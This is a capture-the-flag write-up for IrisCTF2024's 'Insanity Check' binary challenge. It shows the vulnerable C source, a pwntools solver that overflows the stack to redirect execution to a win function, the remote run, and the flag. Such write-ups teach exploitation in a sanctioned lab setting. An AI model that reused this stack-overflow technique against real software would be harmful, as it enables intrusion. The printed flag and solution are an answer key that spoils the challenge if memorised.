Insanity Check [254 Solves]

Description

I've tried the brand new michael-ld linker on my hello world program. I'm pretty sure it's super safe now.

nc insanity-check.chal.irisc.tf 10003 insanity-check.tar.gz

By: lambda

Short Solution

Stack Overflow, ret2win

Solution

Source Code

$ tar ztf insanity-check.tar.gz
insanity-check/
insanity-check/vuln
insanity-check/vuln.c

vuln.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void rstrip(char* buf, const size_t len) {
    for (int i = len - 1; i >= 0; i--)
        if (buf[i] == '\n') {
            buf[i] = '\0';
            break;
        }
}

const char suffix[] = "! Welcome to IrisCTF2024. If you have any questions you can contact us at test@example.com\0\0\0\0";

int main() {
    char message[128];
    char name[64];
    fgets(name, 64, stdin);
    rstrip(name, 64);

    strcpy(message, "Hi there, ");
    strcpy(message + strlen(message), name);
    memcpy(message + strlen(message), suffix, sizeof(suffix));

    printf("%s\n", message);
}

__attribute__((section(".flag")))
void win() {
    __asm__("pop %rdi");
    system("cat /flag");
}

Basic file checks

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c2d6acffbfd9fd36c0a8089feffe3ce53f3eabba, for GNU/Linux 4.4.0, not stripped

$ checksec vuln
[*] '/root/ctf/IrisCTF2024/binary_exploitation/insanity-check/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x40000000)

Initial Analysis

$ readelf -s vuln | grep win
    23: 000000006d6f632e    18 FUNC    GLOBAL DEFAULT   28 win

$ unhex "000000006d6f632e" | rev | hd
00000000  2e 63 6f 6d 00 00 00 00                           |.com....|
00000008

We can occur Stack Overflow by memcpy and set stuff to a return value of the main function. The win function address is 0x000000006d6f632e, and .com\0\0\0\0 which is suffix variable last 8 bytes is 0x000000006d6f632e. Thus, by adjusting the input size to overwrite the return value of the main function to 2e636f6d00000000, we can call the win function.

Solver

solver.py

from pwn import *

# context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]

elf = ELF("./vuln", checksec=False)


def conn() -> pwnlib.tubes:
    if args.REMOTE:
        io = remote("insanity-check.chal.irisc.tf", 10003)

    elif args.GDB:
        gdbscript = """
        b *main+310
        c
        """
        io = gdb.debug([elf.path], gdbscript=gdbscript)
    else:
        io = elf.process()

    return io


def main():
    payload = b"A" * 56 + b"\n"
    with conn() as io:
        io.send(payload)

        io.interactive("")


if __name__ == "__main__":
    main()

$ python3 solver.py REMOTE
[+] Opening connection to insanity-check.chal.irisc.tf on port 10003: Done
[*] Switching to interactive mode
== proof-of-work: disabled ==
irisctf{c0nv3n13nt_symb0l_pl4cem3nt}

[*] Closed connection to insanity-check.chal.irisc.tf port 10003

Got the flag.

Flag

irisctf{c0nv3n13nt_symb0l_pl4cem3nt}